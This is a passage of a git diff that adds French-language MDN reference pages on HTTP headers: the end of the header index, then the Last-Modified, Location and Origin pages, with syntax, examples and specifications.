+ <dd>indique la durée pendant laquelle les résultats d'une demande de contrôle en amont peuvent être mis en cache.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt>
+ <dd>utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur les en-têtes HTTP qui seront utilisés lors de la requête effective.</dd>
+ <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt>
+ <dd>Utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur la <a href="/fr/docs/Web/HTTP/Methods">méthode HTTP</a> à utiliser lors de la requête.</dd>
+ <dt>{{HTTPHeader("Origin")}}</dt>
+ <dd>indique l'origine d'une consultation.</dd>
+ <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt>
+ <dd>spécifie les origines autorisées à voir les valeurs des attributs récupérés via les fonctionnalités de l'<a href="/fr/docs/Web/API/Resource_Timing_API">API Resource Timing</a>, qui seraient autrement signalées comme étant zéro en raison des restrictions d'origines croisées.</dd>
+</dl>
+
+<h2 id="Ne_pas_suivre">Ne pas suivre</h2>
+
+<dl>
+ <dt>{{HTTPHeader("DNT")}}</dt>
+ <dd>utilisé pour exprimer la préférence de suivi de l'utilisateur.</dd>
+ <dt>{{HTTPHeader("Tk")}}</dt>
+ <dd>indique l'état de suivi appliqué à la demande correspondante.</dd>
+</dl>
+
+<h2 id="Téléchargements">Téléchargements</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Disposition")}}</dt>
+ <dd>est un en-tête de réponse si la ressource transmise doit être affichée en ligne (comportement par défaut lorsque l'en-tête n'est pas présent), ou doit être traitée comme un téléchargement et le navigateur doit présenter une fenêtre "Enregistrer sous".</dd>
+</dl>
+
+<h2 id="Informations_sur_le_corps_du_message">Informations sur le corps du message</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Length")}}</dt>
+ <dd>indique la taille du corps d'entité, en nombre décimal d'octets, envoyée au destinataire.</dd>
+ <dt>{{HTTPHeader("Content-Type")}}</dt>
+ <dd>indique le type de média de la ressource.</dd>
+ <dt>{{HTTPHeader("Content-Encoding")}}</dt>
+ <dd>utilisé pour spécifier l'algorithme de compression.</dd>
+ <dt>{{HTTPHeader("Content-Language")}}</dt>
+ <dd>décrit la (les) langue(s) destinée(s) à l'audience, de sorte qu'elle permette à l'utilisateur de se différencier en fonction de la langue préférée de l'utilisateur.</dd>
+ <dt>{{HTTPHeader("Content-Location")}}</dt>
+ <dd>indique un emplacement pour les données renvoyées.</dd>
+</dl>
+
+<h2 id="Proxies">Proxies</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Forwarded")}}</dt>
+ <dd>contient des informations du côté client des serveurs proxy qui sont modifiées ou perdues lorsqu'un proxy est impliqué dans le chemin de la requête.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
+ <dd>identifie les adresses IP d'origine d'un client se connectant à un serveur Web via un proxy HTTP ou un répartiteur de charge.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
+ <dd>identifie l'hôte d'origine demandé à un client pour se connecter à votre proxy ou à votre équilibreur de charge.</dd>
+ <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
+ <dd>identifie le protocole (HTTP ou HTTPS) utilisé par un client pour se connecter à votre proxy ou votre équilibreur de charge.</dd>
+ <dt>{{HTTPHeader("Via")}}</dt>
+ <dd>ajoutés par des proxies, directs et inverses, et peuvent apparaître dans les en-têtes de requête et les en-têtes de réponse.</dd>
+</dl>
+
+<h2 id="Redirection">Redirection</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Location")}}</dt>
+ <dd>indique l'URL de la page de redirection.</dd>
+</dl>
+
+<h2 id="Contexte_de_requête">Contexte de requête</h2>
+
+<dl>
+ <dt>{{HTTPHeader("From")}}</dt>
+ <dd>contient une adresse électronique Internet pour un utilisateur humain qui contrôle l'agent utilisateur demandeur.</dd>
+ <dt>{{HTTPHeader("Host")}}</dt>
+ <dd>indique le nom de domaine du serveur (pour l'hébergement virtuel) et (facultativement) le numéro de port TCP sur lequel le serveur écoute.</dd>
+ <dt>{{HTTPHeader("Referer")}}</dt>
+ <dd>L'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.</dd>
+ <dt>{{HTTPHeader("Referrer-Policy")}}</dt>
+ <dd>indique quelles informations de provenance envoyées dans l'en-tête {{HTTPHeader("Referer")}} doivent être incluses dans les requêtes effectuées.</dd>
+ <dt>{{HTTPHeader("User-Agent")}}</dt>
+ <dd>contient une chaîne caractéristique qui permet aux homologues du protocole réseau d'identifier le type d'application, le système d'exploitation, le fournisseur du logiciel ou la version du logiciel de l'agent utilisateur du logiciel demandeur. Voir aussi <a href="/fr/docs/HTTP/Gecko_user_agent_string_reference">la référence de chaîne de l'agent utilisateur Firefox</a>.</dd>
+</dl>
+
+<h2 id="Contexte_de_réponse">Contexte de réponse</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Allow")}}</dt>
+ <dd>répertorie l'ensemble des méthodes de requête HTTP prises en charge par une ressource.</dd>
+ <dt>{{HTTPHeader("Server")}}</dt>
+ <dd>contient des informations sur le logiciel utilisé par le serveur d'origine pour gérer la demande.</dd>
+</dl>
+
+<h2 id="Demandes_de_plage">Demandes de plage</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Ranges")}}</dt>
+ <dd>indique si le serveur prend en charge les demandes de plage et, le cas échéant, dans quelle unité la plage peut être exprimée.</dd>
+ <dt>{{HTTPHeader("Range")}}</dt>
+ <dd>indique la partie d'un document que le serveur doit renvoyer.</dd>
+ <dt>{{HTTPHeader("If-Range")}}</dt>
+ <dd>crée une requête de plage conditionnelle qui n'est remplie que si l'étiquette et la date correspondent à la ressource distante. Utilisé pour empêcher le téléchargement de deux plages à partir d'une version incompatible de la ressource.</dd>
+ <dt>{{HTTPHeader("Content-Range")}}</dt>
+ <dd>situe une partie de message à l'intérieur du corps d'un message entier.</dd>
+</dl>
+
+<h2 id="Sécurité">Sécurité</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Cross-Origin-Embedder-Policy")}} ({{Glossary("COEP")}})</dt>
+ <dd>autorise un serveur à déclarer une règlementation sur les contenus embarqués pour un document donné.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Cross-Origin-Opener-Policy")}} ({{Glossary("COOP")}})</dt>
+ <dd>interdit les autres domaines d'ouvrir ou de contrôler une fenêtre.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Cross-Origin-Resource-Policy")}} ({{Glossary("CORP")}})</dt>
+ <dd>interdit les autre domaines de lire la réponse des ressources si cet en-tête leur est appliqué.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt>
+ <dd>contrôle les ressources que l'agent utilisateur est autorisé à charger pour une page donnée.</dd>
+ <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt>
+ <dd>permet aux développeurs web d'expérimenter des stratégies en surveillant (mais non en appliquant) leurs effets. Ces rapports de violation sont constitués de documents {{Glossary("JSON")}} envoyés via une requête HTTP <code>POST</code> à l'URI spécifié.</dd>
+ <dt>{{HTTPHeader("Expect-CT")}}</dt>
+ <dd>permet aux sites de contrôler de manière stricte ou non l'adhérence aux règles de transparence des certificats, permettant ainsi de limiter les utilisations frauduleuses du certificat associé au site grâce à une vérification publique.</dd>
+ <dt>{{HTTPHeader("Feature-Policy")}}</dt>
+ <dd>permet d'autoriser ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans les cadres embarqués.</dd>
+ <dt>{{HTTPHeader("Origin-Isolation")}} {{experimental_inline}}</dt>
+ <dd>permet aux application web d'isoler leurs origines.</dd>
+ <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt>
+ <dd>force la communication en utilisant HTTPS au lieu de HTTP.</dd>
+ <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt>
+ <dd>envoie un signal au serveur exprimant la préférence du client pour une réponse chiffrée et authentifiée, et qu'il peut gérer avec succès la directive {{CSP("upgrade-insecure-requests")}}.</dd>
+ <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt>
+ <dd>désactive le repérage MIME et force le navigateur à utiliser le type donné dans {{HTTPHeader("Content-Type")}}.</dd>
+ <dt>{{HTTPHeader("X-Download-Options")}}</dt>
+ <dd>indique que le navigateur (Internet Explorer uniquement) ne doit pas affiche l'option permettant d'ouvrir un fichier qui a été téléchargé depuis une application, pour empêcher les attaques par hameçonnage puisque le fichier pourrait autrement obtenir le droit de s'exécuter dans le contexte de l'application. Note : voir le <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/18488178/">bogue MS Edge</a> associé.</dd>
+ <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt>
+ <dd>indique si un navigateur doit être autorisé à afficher une page dans un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} ou {{HTMLElement("object")}}.</dd>
+ <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt>
+ <dd>Sépcifie si un fichier de règlementation interdomaines (<code>crossdomain.xml</code>) est autorisé. Ce fichier peut définir une règle pour accorder aux clients (comme Adobe Flash Player, Adobe Acrobat, Microsoft Silverlight ou Apache Flex) la permission de gérer des données entre domaines qui seraient autrement restreintes à cause de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy">Same-Origin Policy</a>. Voir la <a href="https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html">spécification Cross-domain Policy File</a> pour plus d'informations.</dd>
+ <dt>{{HTTPHeader("X-Powered-By")}}</dt>
+ <dd>peut être défini par l'environnement hôte ou par d'autres cadriciels, il contient des informations sur eux sans fournir aucun information utile à l'application ni aux visiteurs. Désactivez cet en-tête pour éviter d'exposer des informations et des vulnérabilités potentielles.</dd>
+ <dt>{{HTTPHeader("X-XSS-Protection")}}</dt>
+ <dd>active le filtrage de script intersite.</dd>
+</dl>
+
+<h3 id="HTTP_Public_Key_Pinning_GlossaryHPKP">HTTP Public Key Pinning {{Glossary("HPKP")}}</h3>
+
+<p>HTTP Public Key Pinning a été déprécié et supprimé au profit de Certificate Transparency et {{HTTPHeader("Expect-CT")}}.</p>
+
+<dl>
+ <dt>{{HTTPHeader("Public-Key-Pins")}}</dt>
+ <dd>associe une clé publique cryptographique spécifique à un certain serveur web pour réduire le risque d'attaques {{Glossary("MitM")}} à l'aide de certificats falsifiés.</dd>
+ <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt>
+ <dd>envoie des rapports au <em>report-uri</em> spécifié dans l'en-tête et permet toujours aux clients de se connecter au serveur même si l'association à la clé cryptographique est violée.</dd>
+</dl>
+
+<h3 id="En-têtes_de_requêtes_de_métadonnées">En-têtes de requêtes de métadonnées</h3>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-Fetch-Site")}}</dt>
+ <dd>en-tête de requête indiquant la relation entre l'origine ayant initiée la requête et l'origine cible ; c'est un en-tête srtucutré dont la valeur peut être <code>cross-site</code>, <code>same-origin</code>, <code>same-site</code> ou <code>none</code>.</dd>
+ <dt>{{HTTPHeader("Sec-Fetch-Mode")}}</dt>
+ <dd>en-tête de requête indiquant le mode de requête à un serveur ; c'est un en-tête structuré dont la valeur peut être <code>cors</code>, <code>navigate</code>, <code>nested-navigate</code>, <code>no-cors</code>, <code>same-origin</code> ou <code>websocket</code>.</dd>
+ <dt>{{HTTPHeader("Sec-Fetch-User")}}</dt>
+ <dd>en-tête de requête indiquant si une requête de navigation a été déclenchée ou non par une action de l'utilisateur ; c'est un en-tête structuré dont la valeur est un booléen, soit <code>?0</code> ou pour faux et <code>?1</code> pour vrai.</dd>
+ <dt>{{HTTPHeader("Sec-Fetch-Dest")}}</dt>
+ <dd>en-tête de requête indiquant la destination de la requête à un serveur ; c'est un en-tête structuré dont la valeur peut être <code>audio</code>, <code>audioworklet</code>, <code>document</code>, <code>embed</code>, <code>empty</code>, <code>font</code>, <code>image</code>, <code>manifest</code>, <code>object</code>, <code>paintworklet</code>, <code>report</code>, <code>script</code>, <code>serviceworker</code>, <code>sharedworker</code>, <code>style</code>, <code>track</code>, <code>video</code>, <code>worker</code>, <code>xslt</code> ou <code>nested-document</code>.</dd>
+</dl>
+
+<h2 id="Évènements_envoyés_par_le_serveur">Évènements envoyés par le serveur</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Last-Event-ID")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("NEL")}} {{experimental_inline}}</dt>
+ <dd>permet aux développeurs de déclarer une règlementation de rapportage d'erreur réseau.</dd>
+ <dt>{{HTTPHeader("Ping-From")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Ping-To")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Report-To")}}</dt>
+ <dd>utilisé pour spécifier un serveur de destination pour que le navigateur puisse y envoyer des rapports d'avertissements ou d'erreurs.</dd>
+</dl>
+
+<h2 id="Codage_de_transfert">Codage de transfert</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Transfer-Encoding")}}</dt>
+ <dd>spécifie la forme de codage utilisée pour transférer en toute sécurité l'entité à l'utilisateur.</dd>
+ <dt>{{HTTPHeader("TE")}}</dt>
+ <dd>spécifie les encodages de transfert que l'agent utilisateur est prêt à accepter.</dd>
+ <dt>{{HTTPHeader("Trailer")}}</dt>
+ <dd>permet à l'expéditeur d'inclure des champs supplémentaires à la fin du message segmenté.</dd>
+</dl>
+
+<h2 id="WebSockets">WebSockets</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt>
+ <dd>...</dd>
+</dl>
+
+<h2 id="Autres">Autres</h2>
+
+<dl>
+ <dt>{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Alt-Svc")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Date")}}</dt>
+ <dd>contient la date et l'heure à laquelle le message a été généré.</dd>
+ <dt>{{HTTPHeader("Large-Allocation")}}</dt>
+ <dd>indique au navigateur que la page en cours de chargement souhaite effectuer une allocation importante.</dd>
+ <dt>{{HTTPHeader("Link")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Push-Policy")}} {{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("Retry-After")}}</dt>
+ <dd>indique combien de temps l'agent utilisateur doit attendre avant de faire une autre demande consécutive.</dd>
+ <dt>{{HTTPHeader("Signature")}} {{experimental_inline}}</dt>
+ <dd>communique une liste de signatures pour un échange, chacune accompagnée d'informations sur la manière de déterminer son autorité et de rafraichir cette signature.</dd>
+ <dt>{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}</dt>
+ <dd>identifie une liste ordonnée de champs d'en-tête de réponse à inclure dans une signature.</dd>
+ <dt>{{HTTPHeader("Server-Timing")}}</dt>
+ <dd>communique un ou plusieurs indicateurs et descriptions pour le cycle requête-réponse donné.</dd>
+ <dt>{{HTTPHeader("Service-Worker-Allowed")}}</dt>
+ <dd>utilisé pour supprimer la <a href="https://w3c.github.io/ServiceWorker/#path-restriction">restriction de chemin</a> en incluant cet en-tête <a href="https://w3c.github.io/ServiceWorker/#service-worker-script-response">dans la réponse d'un script Service Worker</a>.</dd>
+ <dt>{{HTTPHeader("SourceMap")}}</dt>
+ <dd>liens ayant généré du code sur une <a href="/fr/docs/Outils/D%C3%A9bogueur/Comment/Utiliser_une_source_map">source</a>.</dd>
+ <dt>{{HTTPHeader("Upgrade")}}</dt>
+ <dd>le document RFC associé pour le <a href="https://tools.ietf.org/html/rfc7230#section-6.7">champ d'en-tête Upgrade est RFC 7230, section 6.7</a>. Le standard établit des règles pour la mise à niveau ou la modification d'un protocole différent sur le client, le serveur et la connexion au protocole de transport actuels. Par exemple, cette norme d'en-tête permet à un client de passer de HTTP 1.1 à HTTP 2.0, en supposant que le serveur décide de reconnaître et d'implémenter le champ d'en-tête Upgrade. Une requête de ce type ne peut etre contraignante et le serveur peut répondre en utilisant le protocole initial. Il peut être utilisé dans les en-têtes client et serveur. Si le champ d'en-tête Upgrade est spécifié, l'expéditeur DOIT également envoyer le champ d'en-tête Connection avec l'option de mise à niveau spécifiée. Pour plus de détails sur le <a href="https://tools.ietf.org/html/rfc7230#section-6.1">champ d'en-tête Connection, veuillez vous reporter à la section 6.1 du RFC susmentionné</a>.</dd>
+ <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt>
+ <dd>contrôle le préchargement DNS, fonctionnalité par laquelle les navigateurs effectuent de manière proactive la résolution du nom de domaine sur les deux liens que l'utilisateur peut choisir de suivre ainsi que les URL des éléments référencés par le document, y compris les images, CSS, JavaScript, etc.</dd>
+ <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Requested-With")}}</dt>
+ <dd>...</dd>
+ <dt>{{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}}</dt>
+ <dd>indique comment une page doit être indexée dans les résultats publics des moteurs de recherche ; cet en-tête est équivalent à <code>&lt;meta name="robots" content="..."&gt;</code></dd>
+ <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt>
+ <dd>Utilisé par Internet Explorer pour signaler quel mode de document utiliser.</dd>
+</dl>
+
+<h2 id="Contribuer">Contribuer</h2>
+
+<p>Vous pouvez contribuer en <a href="/fr/docs/MDN/Contribute/Howto/Document_an_HTTP_header">ajoutant un nouvel en-tête à la liste</a> ou en améliorant la documentation existante.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://fr.wikipedia.org/wiki/Liste_des_codes_HTTP">Page Wikipédia sur la liste des en-têtes HTTP</a></li>
+ <li><a class="external" href="https://www.iana.org/assignments/message-headers/message-headers.xhtml">Registre des en-têtes par l'IANA</a> (en)</li>
+ <li><a href="https://httpwg.org/specs/">Groupe de travail HTTP</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/last-modified/index.html b/files/fr/web/http/headers/last-modified/index.html
new file mode 100644
index 0000000000..b05a391c02
--- /dev/null
+++ b/files/fr/web/http/headers/last-modified/index.html
@@ -0,0 +1,92 @@
+---
+title: Last-Modified
+slug: Web/HTTP/Headers/Last-Modified
+tags:
+  - Entête de Réponse
+  - Entêtes HTTP
+  - HTTP
+  - Reference
+translation_of: Web/HTTP/Headers/Last-Modified
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'entête HTTP de réponse <strong><code>Last-Modified</code></strong> contient la date et l'heure à laquelle le serveur d'origine pense que la ressource a été modifiée pour la dernière fois. Il est utilisé comme un validateur pour déterminer si une ressource reçue et une stockée sont les mêmes. Moins précis qu'un entête {{HTTPHeader("ETag")}}, c'est un mécanisme de rechange. Les requêtes conditionnelles contenant des entêtes {{HTTPHeader("If-Modified-Since")}} ou {{HTTPHeader("If-Unmodified-Since")}} font usage de ce champ.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'entête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Last-Modified: &lt;nom-jour&gt;, &lt;jour&gt; &lt;mois&gt; &lt;année&gt; &lt;heure&gt;:&lt;minute&gt;:&lt;seconde&gt; GMT
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;nom-jour&gt;</dt>
+ <dd>Un nom parmi "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", ou "Sun" (sensible à la casse).</dd>
+ <dt>&lt;jour&gt;</dt>
+ <dd>Jour sur 2 chiffres, par ex. "04" ou "23".</dd>
+ <dt>&lt;mois&gt;</dt>
+ <dd>Un mois parmi "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (sensible à la casse).</dd>
+ <dt>&lt;année&gt;</dt>
+ <dd>Millésime sur 4 chiffres, par ex. "1990" ou "2016".</dd>
+ <dt>&lt;heure&gt;</dt>
+ <dd>Heure sur 2 chiffres, par ex. "09" ou "23".</dd>
+ <dt>&lt;minute&gt;</dt>
+ <dd>Minute sur 2 chiffres, par ex. "04" ou "59".</dd>
+ <dt>&lt;seconde&gt;</dt>
+ <dd>Seconde sur 2 chiffres, par ex. "04" ou "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>Greenwich Mean Time. Les dates HTTP sont toujours exprimées en GMT, jamais en heure locale.</p>
+ </dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7232", "Last-Modified", "2.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer à ces données, merci de vous référer à <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une demande de tirage .</p>
+
+<p>{{Compat("http.headers.Last-Modified")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("Etag")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/location/index.html b/files/fr/web/http/headers/location/index.html
new file mode 100644
index 0000000000..efdf8a9fe9
--- /dev/null
+++ b/files/fr/web/http/headers/location/index.html
@@ -0,0 +1,78 @@
+---
+title: Location
+slug: Web/HTTP/Headers/Location
+translation_of: Web/HTTP/Headers/Location
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L'en-tête de réponse <code>Location</code> indique l'URL vers laquelle rediriger une page. Il a un sens seulement lorsqu'il est servi avec une réponse d'état <code>3xx</code> (redirection) ou <code>201</code> (créé).</p>
+
+<p>En cas de redirection, la méthode HTTP utilisée pour la nouvelle requête de récupération de la page pointée par <code>Location</code> dépend la méthode d'origine et du type de redirection :</p>
+
+<ul>
+ <li>Si les réponses {{HTTPStatus("303")}} (Voir Aussi) conduisent toujours à l'utilisation d'une méthode {{HTTPMethod("GET")}}, {{HTTPStatus("307")}} (Redirection Temporaire) et {{HTTPStatus("308")}} (Redirection Permanente) ne modifient pas la méthode utilisée dans la demande d'origine;</li>
+ <li>{{HTTPStatus("301")}} (Redirection permanente) et {{HTTPStatus("302")}} (Trouvé) ne change pas la méthode la plupart du temps, bien que les user-agents plus anciens puissent.</li>
+</ul>
+
+<p>Toutes les réponses avec l'un de ces codes d'état envoient un en-tête <code>Location</code>.</p>
+
+<p>En cas de création de ressource, il indique l'URL de la ressource nouvellement créée.</p>
+
+<p><code>Location</code> et {{HTTPHeader("Content-Location")}} sont différents : <code>Location</code> indique la cible d'une redirection (ou l'URL d'une ressource nouvellement créée), tandis que {{HTTPHeader("Content-Location")}} indique l'URL directe à utiliser pour accéder à la ressource lorsque la négociation de contenu a eu lieu, sans qu'il soit nécessaire de poursuivre la négociation de contenu. L'emplacement est un en-tête associé à la réponse, tandis que {{HTTPHeader("Content-Location")}} est associé à l'entité renvoyée.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d'en-tête</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>non</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Location: &lt;url&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>Une URL relative (à l'URL de la demande) ou absolue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="notranslate">Location: /index.html</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Location", "7.1.2")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Location")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Location")}}</li>
+ <li>État des réponses, y compris un en-tête <code>Location</code> : {{HTTPStatus("201")}}, {{HTTPStatus("301")}}, {{HTTPStatus("302")}}, {{HTTPStatus("303")}}, {{HTTPStatus("307")}}, {{HTTPStatus("308")}}.</li>
+</ul>
diff --git a/files/fr/web/http/headers/origin/index.html b/files/fr/web/http/headers/origin/index.html
new file mode 100644
index 0000000000..4e18becbe9
--- /dev/null
+++ b/files/fr/web/http/headers/origin/index.html
@@ -0,0 +1,79 @@
+---
+title: Origin
+slug: Web/HTTP/Headers/Origin
+tags:
+  - Reference
+translation_of: Web/HTTP/Headers/Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>L’en-tête de requête <strong><code>Origin</code></strong> indique la provenance de la requête. Il n’inclut aucune information de chemin, seulement le nom du serveur. Il est envoyé avec les requêtes {{Glossary("CORS")}}, ainsi que les requêtes {{HTTPMethod("POST")}}. Il est similaire à l’en-tête {{HTTPHeader("Referer")}}, mais, contrairement à ce dernier, il n’inclut pas le chemin complet.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Type d’en-tête</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>oui</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Origin: ""
+Origin: &lt;scheme&gt; "://" &lt;hostname&gt; [ ":" &lt;port&gt; ]
+</pre>
+
+<p><code>Origin</code> peut être une chaîne vide : c’est utile, par exemple, si la source est une <code>data</code> URL.</p>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;scheme&gt;</dt>
+ <dd>Le protocole utilisé. Il s’agit en général du protocole HTTP ou de sa version sécurisée, HTTPS.</dd>
+ <dt>&lt;hostname&gt;</dt>
+ <dd>Le nom de domaine du serveur (for virtual hosting) ou l’IP.</dd>
+ <dt>&lt;port&gt; {{optional_inline}}</dt>
+ <dd>Un numéro de port TCP sur lequel le serveur écoute. Si aucun port n’est donné, le port par défaut pour le service demandé (p. ex. <code>80</code> pour une URL HTTP) est supposé.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>Origin: https://developer.mozilla.org</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{RFC("6454", "Origin", "7")}}</td>
+   <td>Le concept de Web Origin</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td>
+   <td>Remplace l’en-tête <code>Origin</code> tel que défini dans la RFC6454.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Origin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Referer")}}</li>
+ <li>La <a href="/fr/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/referer/index.html b/files/fr/web/http/headers/referer/index.html
new file mode 100644
index 0000000000..69712b54d9
--- /dev/null
